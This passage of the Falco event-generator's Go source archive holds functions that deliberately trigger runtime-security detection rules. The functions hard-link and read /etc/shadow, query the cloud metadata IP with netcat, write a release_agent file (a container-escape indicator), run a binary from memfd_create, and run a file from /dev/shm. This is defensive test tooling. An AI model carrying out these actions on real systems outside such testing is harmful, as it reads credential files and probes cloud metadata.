// check whether CAP_SYS_ADMIN capability exists in the decoded CapEff value
if hasCAPSysAdmin, err := checkCapability(capEffValue, "cap_sys_admin"); err == nil && !hasCAPSysAdmin {
return &events.ErrSkipped{
Reason: "privileged container required",
}
}
}
}
// it doesn't matter that the arguments to Setns are bogus
// it's the attempt to call it that will trigger the rule
if err := unix.Setns(0, 0); err != nil {
h.Log().WithError(err).Debug("failed to call setns (this is expected)")
}
return nil
}
07070100000042000081A400000000000000000000000166F189F1000005DA000000000000000000000000000000000000004400000000falco-event-generator-0.12.0/events/syscall/clear_log_activities.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os"
"path/filepath"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(ClearLogActivities)
func ClearLogActivities(h events.Helper) error {
// create a unique temp directory
tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-ClearLogActivities-")
if err != nil {
return err
}
defer func() {
if err := os.RemoveAll(tmpDir); err != nil {
h.Log().WithError(err).Error("failed to remove temp directory")
}
}()
filename := filepath.Join(tmpDir, "syslog")
// open or create the file with write-only access and truncate its contents if it exists
file, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, os.FileMode(0644))
if err != nil {
return err
}
defer func() {
if err := file.Close(); err != nil {
h.Log().WithError(err).Error("failed to close temp file")
}
}()
return nil
}
07070100000043000081A400000000000000000000000166F189F1000007B9000000000000000000000000000000000000006400000000falco-event-generator-0.12.0/events/syscall/contact_ec2_instance_metadata_service_from_container.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"context"
"os/exec"
"time"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
ContactEC2InstanceMetadataServiceFromContainer,
events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action
)
func ContactEC2InstanceMetadataServiceFromContainer(h events.Helper) error {
if !h.InContainer() {
return &events.ErrSkipped{
Reason: "only applicable to containers",
}
}
nc, err := exec.LookPath("nc")
if err != nil {
// if we don't have a netcat, just bail
return &events.ErrSkipped{
Reason: "netcat executable file not found in $PATH",
}
}
// The IP address 169.254.169.254 is reserved for the Cloud Instance Metadata Service,
// a common endpoint used by cloud instances (GCP, AWS and Azure) to access
// metadata about the instance itself. Detecting attempts to communicate with this
// IP address from a container can indicate potential unauthorized access to
// sensitive cloud infrastructure metadata.
// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
if err := runCmd(context.Background(), 1*time.Second, nc, "169.254.169.254", "80"); err != nil {
h.Log().WithError(err).Debug("failed to run netcat command (might be ok)")
}
return nil
}
07070100000044000081A400000000000000000000000166F189F1000005B3000000000000000000000000000000000000004E00000000falco-event-generator-0.12.0/events/syscall/container_drift_detected_chmod.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
ContainerDriftDetectedChmod,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func ContainerDriftDetectedChmod(h events.Helper) error {
if !h.InContainer() {
return &events.ErrSkipped{
Reason: "only applicable to containers",
}
}
// create a unique file under temp directory
file, err := os.CreateTemp("", "falco-event-generator-syscall-ContainerDriftDetectedChmod-")
if err != nil {
return err
}
defer func() {
if err := os.Remove(file.Name()); err != nil {
h.Log().WithError(err).Error("failed to remove temp file")
}
}()
// set execute permission
if err := os.Chmod(file.Name(), os.FileMode(0755)); err != nil {
return err
}
return nil
}
07070100000045000081A400000000000000000000000166F189F1000005E4000000000000000000000000000000000000005400000000falco-event-generator-0.12.0/events/syscall/container_drift_detected_open_create.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"fmt"
"os"
"path/filepath"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
ContainerDriftDetectedOpenCreate,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func ContainerDriftDetectedOpenCreate(h events.Helper) error {
if !h.InContainer() {
return &events.ErrSkipped{
Reason: "only applicable to containers",
}
}
// generate new "random" temp file name
file := filepath.Join(os.TempDir(), fmt.Sprintf("falco-event-generator-syscall-ContainerDriftDetectedOpenCreate-%s", randomString(6)))
// create file and set execute permission
if err := os.WriteFile(file, nil, os.FileMode(0755)); err != nil {
return err
}
defer func() {
if err := os.Remove(file); err != nil {
h.Log().WithError(err).Error("failed to remove temp file")
}
}()
return nil
}
07070100000046000081A400000000000000000000000166F189F1000006AC000000000000000000000000000000000000004600000000falco-event-generator-0.12.0/events/syscall/create_files_below_dev.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"errors"
"os"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
CreateFilesBelowDev,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func CreateFilesBelowDev(h events.Helper) error {
// ensure /dev exists
if _, err := os.Stat("/dev"); os.IsNotExist(err) {
if err := os.Mkdir("/dev", os.FileMode(0755)); err != nil {
return err
}
// remove /dev directory
defer func() {
if err := os.RemoveAll("/dev"); err != nil {
h.Log().WithError(err).Error("failed to remove /dev directory")
}
}()
}
// create a unique file under /dev directory
file, err := os.CreateTemp("/dev", "falco-event-generator-syscall-CreateFilesBelowDev-")
if err != nil {
// to trigger the rule, it is enough to try, so we ignore permission denied errors
if errors.Is(err, os.ErrPermission) {
return nil
}
return err
}
defer func() {
if err := os.Remove(file.Name()); err != nil {
h.Log().WithError(err).Error("failed to remove temp file")
}
}()
return nil
}
07070100000047000081A400000000000000000000000166F189F1000006FD000000000000000000000000000000000000005400000000falco-event-generator-0.12.0/events/syscall/create_hardlink_over_sensitive_files.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(CreateHardlinkOverSensitiveFiles)
func CreateHardlinkOverSensitiveFiles(h events.Helper) error {
ln, err := exec.LookPath("ln")
if err != nil {
// if we don't have a ln, just bail
return &events.ErrSkipped{
Reason: "ln executable file not found in $PATH",
}
}
// create a unique temp directory
tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-CreateHardlinkOverSensitiveFiles-")
if err != nil {
return err
}
defer func() {
if err := os.RemoveAll(tmpDir); err != nil {
h.Log().WithError(err).Error("failed to remove temp directory")
}
}()
shadowLink := filepath.Join(tmpDir, "shadow_link")
// create a hard link to /etc/shadow file
// note: directory hard links are not allowed
cmd := exec.Command(ln, "-v", "/etc/shadow", shadowLink)
if out, err := cmd.CombinedOutput(); err != nil {
return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
}
// read hard-linked /etc/shadow file
if _, err := os.ReadFile(shadowLink); err != nil {
return err
}
return nil
}
07070100000048000081A400000000000000000000000166F189F1000004E6000000000000000000000000000000000000005200000000falco-event-generator-0.12.0/events/syscall/create_hidden_files_or_directories.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
CreateHiddenFilesOrDirectories,
events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action
)
func CreateHiddenFilesOrDirectories(h events.Helper) error {
// create a unique hidden temp directory
tmpDir, err := os.MkdirTemp("", ".falco-event-generator-syscall-CreateHiddenFilesOrDirectories-")
if err != nil {
return err
}
defer func() {
if err := os.RemoveAll(tmpDir); err != nil {
h.Log().WithError(err).Error("failed to remove temp directory")
}
}()
return nil
}
07070100000049000081A400000000000000000000000166F189F1000006BB000000000000000000000000000000000000005300000000falco-event-generator-0.12.0/events/syscall/create_symlink_over_sensitive_files.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(CreateSymlinkOverSensitiveFiles)
func CreateSymlinkOverSensitiveFiles(h events.Helper) error {
ln, err := exec.LookPath("ln")
if err != nil {
// if we don't have a ln, just bail
return &events.ErrSkipped{
Reason: "ln executable file not found in $PATH",
}
}
// create a unique temp directory
tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-CreateSymlinkOverSensitiveFiles-")
if err != nil {
return err
}
defer func() {
if err := os.RemoveAll(tmpDir); err != nil {
h.Log().WithError(err).Error("failed to remove temp directory")
}
}()
etcLink := filepath.Join(tmpDir, "etc_link")
// create a symbolic link to /etc directory
cmd := exec.Command(ln, "-s", "/etc", etcLink)
if out, err := cmd.CombinedOutput(); err != nil {
return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
}
// read symbolic-linked /etc directory
if _, err := os.ReadDir(etcLink); err != nil {
return err
}
return nil
}
0707010000004A000081A400000000000000000000000166F189F100000400000000000000000000000000000000000000004A00000000falco-event-generator-0.12.0/events/syscall/db_program_spawned_process.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"github.com/falcosecurity/event-generator/events"
_ "github.com/falcosecurity/event-generator/events/helper"
)
var _ = events.Register(
DbProgramSpawnedProcess,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func DbProgramSpawnedProcess(h events.Helper) error {
return h.SpawnAsWithSymlink("mysqld", "helper.ExecLs")
}
0707010000004B000081A400000000000000000000000166F189F10000085B000000000000000000000000000000000000005900000000falco-event-generator-0.12.0/events/syscall/debugfs_launched_in_privilleged_container.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"fmt"
"os/exec"
"strings"
"syscall"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(DebugfsLaunchedInPrivilegedContainer)
func DebugfsLaunchedInPrivilegedContainer(h events.Helper) error {
if !h.InContainer() {
return &events.ErrSkipped{
Reason: "only applicable to containers",
}
}
// skip if container does not have CAP_SYS_ADMIN capability, fallthrough in case of error
// read the CapEff value from /proc/self/status
if capEffValueBytes, err := exec.Command("sh", "-c", "cat /proc/self/status | grep CapEff | awk '{print $2}'").Output(); err == nil {
// convert the CapEff value to a string and trim whitespace
capEffValue := strings.TrimSpace(string(capEffValueBytes))
// check whether CAP_SYS_ADMIN capability exists in the decoded CapEff value
if hasCAPSysAdmin, err := checkCapability(capEffValue, "cap_sys_admin"); err == nil && !hasCAPSysAdmin {
return &events.ErrSkipped{
Reason: "privileged container required",
}
}
}
debugfs, err := exec.LookPath("debugfs")
if err != nil {
// if we don't have a debugfs, just bail
return &events.ErrSkipped{
Reason: "debugfs executable file not found in $PATH",
}
}
cmd := exec.Command(debugfs, "-V")
cmd.SysProcAttr = &syscall.SysProcAttr{
Cloneflags: syscall.CLONE_NEWNS | syscall.CLONE_NEWUSER,
}
if out, err := cmd.CombinedOutput(); err != nil {
return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
0707010000004C000081A400000000000000000000000166F189F100000519000000000000000000000000000000000000004D00000000falco-event-generator-0.12.0/events/syscall/decoding_payload_in_container.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"fmt"
"os/exec"
"strings"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
DecodingPayloadInContainer,
events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action
)
func DecodingPayloadInContainer(h events.Helper) error {
if !h.InContainer() {
return &events.ErrSkipped{
Reason: "only applicable to containers",
}
}
encodedPayload := "ZGVjb2RlZF9ieV9ldmVudC1nZW5lcmF0b3I="
cmd := exec.Command("echo", encodedPayload, "|", "base64", "-d")
if out, err := cmd.CombinedOutput(); err != nil {
return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
0707010000004D000081A400000000000000000000000166F189F100000605000000000000000000000000000000000000004E00000000falco-event-generator-0.12.0/events/syscall/delete_or_rename_shell_history.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os"
"path/filepath"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
DeleteOrRenameShellHistory,
events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action
)
func DeleteOrRenameShellHistory(h events.Helper) error {
// create a unique temp directory
tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-DeleteOrRenameShellHistory-")
if err != nil {
return err
}
defer func() {
if err := os.RemoveAll(tmpDir); err != nil {
h.Log().WithError(err).Error("failed to remove temp directory")
}
}()
history := filepath.Join(tmpDir, "ash_history")
// create the file
if err := os.WriteFile(history, nil, os.FileMode(0600)); err != nil {
return err
}
defer func() {
if err := os.Remove(history); err != nil {
h.Log().WithError(err).Error("failed to remove temp file")
}
}()
return nil
}
0707010000004E000081A400000000000000000000000166F189F1000005A7000000000000000000000000000000000000005F00000000falco-event-generator-0.12.0/events/syscall/detect_crypto_miners_using_the_stratum_protocol.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"fmt"
"os/exec"
"strings"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
DetectCryptoMinersUsingTheStratumProtocol,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func DetectCryptoMinersUsingTheStratumProtocol(h events.Helper) error {
// NOTE: Crypto mining commands typically may resemble the following format,
// where 'minersoftware' is an executable:
// minersoftware -o stratum+tcp://example.com:3333 -u username -p password
// However, for testing purposes, we're using 'echo' as a placeholder.
cmd := exec.Command("echo", "-o stratum+tcp", "-u user", "-p pass")
if out, err := cmd.CombinedOutput(); err != nil {
return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
0707010000004F000081A400000000000000000000000166F189F100000B5C000000000000000000000000000000000000005B00000000falco-event-generator-0.12.0/events/syscall/detect_release_agent_file_container_escapes.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"bytes"
"os"
"os/exec"
"strings"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(DetectReleaseAgentFileContainerEscapes)
func DetectReleaseAgentFileContainerEscapes(h events.Helper) error {
if !h.InContainer() {
return &events.ErrSkipped{
Reason: "only applicable to containers",
}
}
// read the CapEff value from /proc/self/status
capEffValueBytes, err := exec.Command("sh", "-c", "cat /proc/self/status | grep CapEff | awk '{print $2}'").Output()
if err != nil {
return err
}
// convert the CapEff value to a string and trim whitespace
capEffValue := strings.TrimSpace(string(capEffValueBytes))
// user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE reuired condition
if os.Getuid() != 0 {
hasCAPDacOverride, err := checkCapability(capEffValue, "cap_dac_override")
if err != nil {
return err
}
if !hasCAPDacOverride {
return &events.ErrSkipped{
Reason: "conatiner with root user or CAP_DAC_OVERRIDE capability is required to execute this event",
}
}
}
// check whether CAP_SYS_ADMIN capability exists in the decoded CapEff value
hasCAPSysAdmin, err := checkCapability(capEffValue, "cap_sys_admin")
if err != nil {
return err
}
if !hasCAPSysAdmin {
return &events.ErrSkipped{
Reason: "privileged container required",
}
}
// open_write and fd.name endswith release_agent
return exec.Command("sh", "-c", "echo 'hello world' > release_agent").Run()
}
// This function checks wether given capability exists or not by decoding the given hex
// For ex: Below is the output when we run capsh --decode=0x0000000000000003
// 0x0000000000000003=cap_chown,cap_dac_override
func checkCapability(hexValue string, capability string) (bool, error) {
capsh, err := exec.LookPath("capsh")
if err != nil {
return false, &events.ErrSkipped{
Reason: "capsh utility is required to execute this event",
}
}
cmd := exec.Command(capsh, "--decode="+hexValue)
// Capture the output of the command
var output bytes.Buffer
cmd.Stdout = &output
if err := cmd.Run(); err != nil {
return false, err
}
// Convert output to a string
outputStr := output.String()
// Check if the output contains the given capability
return strings.Contains(outputStr, capability), nil
}
07070100000050000081A400000000000000000000000166F189F100000416000000000000000000000000000000000000005700000000falco-event-generator-0.12.0/events/syscall/directory_traversal_monitored_file_read.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(DirectoryTraversalMonitoredFileRead)
func DirectoryTraversalMonitoredFileRead(h events.Helper) error {
const filename = "/etc/../etc/../etc/shadow"
file, err := os.Open(filename)
defer func() {
if err := file.Close(); err != nil {
h.Log().WithError(err).Error("failed to close /etc/shadow file")
}
}()
return err
}
07070100000051000081A400000000000000000000000166F189F10000058C000000000000000000000000000000000000005B00000000falco-event-generator-0.12.0/events/syscall/disallowed_ssh_connection_non_standard_port.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"context"
"os/exec"
"time"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(DisallowedSSHConnectionNonStandardPort)
func DisallowedSSHConnectionNonStandardPort(h events.Helper) error {
ssh, err := exec.LookPath("ssh")
if err != nil {
// if we don't have a SSH, just bail
return &events.ErrSkipped{
Reason: "ssh executable file not found in $PATH",
}
}
// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
// in some cases it takes more than one second to establish the connection
if err := runCmd(context.Background(), 5*time.Second, ssh, "user@example.com", "-p", "443"); err != nil {
h.Log().WithError(err).Debug("failed to run ssh command (this is expected)")
}
return nil
}
07070100000052000081A400000000000000000000000166F189F1000008C4000000000000000000000000000000000000005800000000falco-event-generator-0.12.0/events/syscall/drop_and_execute_new_binary_in_container.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(DropAndExecuteNewBinaryInContainer)
func DropAndExecuteNewBinaryInContainer(h events.Helper) error {
if !h.InContainer() {
return &events.ErrSkipped{
Reason: "only applicable to containers",
}
}
// find the path of the ls binary
ls, err := exec.LookPath("ls")
if err != nil {
return &events.ErrSkipped{
Reason: "ls executable file not found in $PATH",
}
}
// read the ls binary content
lsContent, err := os.ReadFile(ls)
if err != nil {
return err
}
// ensure /bin exists
if _, err := os.Stat("/bin"); os.IsNotExist(err) {
if err := os.Mkdir("/bin", os.FileMode(0755)); err != nil {
return err
}
// remove /bin directory
defer func() {
if err := os.RemoveAll("/bin"); err != nil {
h.Log().WithError(err).Error("failed to remove /bin directory")
}
}()
}
// generate new "random" binary name
file := filepath.Join("/bin", fmt.Sprintf("falco-event-generator-syscall-DropAndExecuteNewBinaryInContainer-%s", randomString(6)))
// create file and set execute permission
if err = os.WriteFile(file, lsContent, os.FileMode(0755)); err != nil {
return err
}
defer func() {
if err := os.Remove(file); err != nil {
h.Log().WithError(err).Error("failed to remove temp file")
}
}()
// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
if err := exec.Command(file).Run(); err != nil {
h.Log().WithError(err).Debug("failed to run ls command (might be ok)")
}
return nil
}
07070100000053000081A400000000000000000000000166F189F10000091F000000000000000000000000000000000000004600000000falco-event-generator-0.12.0/events/syscall/execution_from_dev_shm.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(ExecutionFromDevShm)
func ExecutionFromDevShm(h events.Helper) error {
// ensure /dev exists
if _, err := os.Stat("/dev"); os.IsNotExist(err) {
if err := os.Mkdir("/dev", os.FileMode(0755)); err != nil {
return err
}
// remove /dev directory
defer func() {
if err := os.RemoveAll("/dev"); err != nil {
h.Log().WithError(err).Error("failed to remove /dev directory")
}
}()
}
// ensure /dev/shm exists
if _, err := os.Stat("/dev/shm"); os.IsNotExist(err) {
if err := os.Mkdir("/dev/shm", os.FileMode(0755)); err != nil {
return err
}
// remove /dev/shm subdirectory only
defer func() {
if err := os.RemoveAll("/dev/shm"); err != nil {
h.Log().WithError(err).Error("failed to remove /dev/shm directory")
}
}()
}
// generate new "random" file name under /dev/shm
file := filepath.Join("/dev/shm", fmt.Sprintf("falco-event-generator-syscall-ExecutionFromDevShm-%s.sh", randomString(6)))
// create executable script file
if err := os.WriteFile(file, []byte("#!/bin/sh\n\necho 'hello world'\n"), os.FileMode(0755)); err != nil {
return err
}
defer func() {
if err := os.Remove(file); err != nil {
h.Log().WithError(err).Error("failed to remove temp file")
}
}()
// execute script file
cmd := exec.Command("sh", "-c", file)
if out, err := cmd.CombinedOutput(); err != nil {
// to trigger the rule, it is enough to try, so we ignore permission denied errors
if cmd.ProcessState.ExitCode() == 126 {
return nil
}
return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
07070100000054000081A400000000000000000000000166F189F100000753000000000000000000000000000000000000005300000000falco-event-generator-0.12.0/events/syscall/fileless_execution_via_memfd_create.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"fmt"
"os"
"os/exec"
"strings"
"golang.org/x/sys/unix"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(FilelessExecutionViaMemfdCreate)
func FilelessExecutionViaMemfdCreate(h events.Helper) error {
// Event-generator executable path
exePath := h.ExePath()
// Read the event-generator executable into memory
binaryData, err := os.ReadFile(exePath)
if err != nil {
h.Log().WithError(err).Error("failed to read binary file")
return err
}
// Load the binary into memory
fd, err := unix.MemfdCreate("program", 0)
if err != nil {
h.Log().WithError(err).Error("failed to create memory file descriptor")
return err
}
_, err = unix.Write(fd, binaryData)
if err != nil {
h.Log().WithError(err).Error("failed to write binary data to memory")
return err
}
defer func() {
if err := unix.Close(fd); err != nil {
h.Log().WithError(err).Error("failed to close memory file descriptor")
}
}()
// Execute the binary from memory
cmd := exec.Command("/proc/self/fd/"+fmt.Sprintf("%d", fd), "run", "helper.DoNothing")
if out, err := cmd.CombinedOutput(); err != nil {
return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
07070100000055000081A400000000000000000000000166F189F1000004C9000000000000000000000000000000000000004400000000falco-event-generator-0.12.0/events/syscall/find_aws_credentials.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
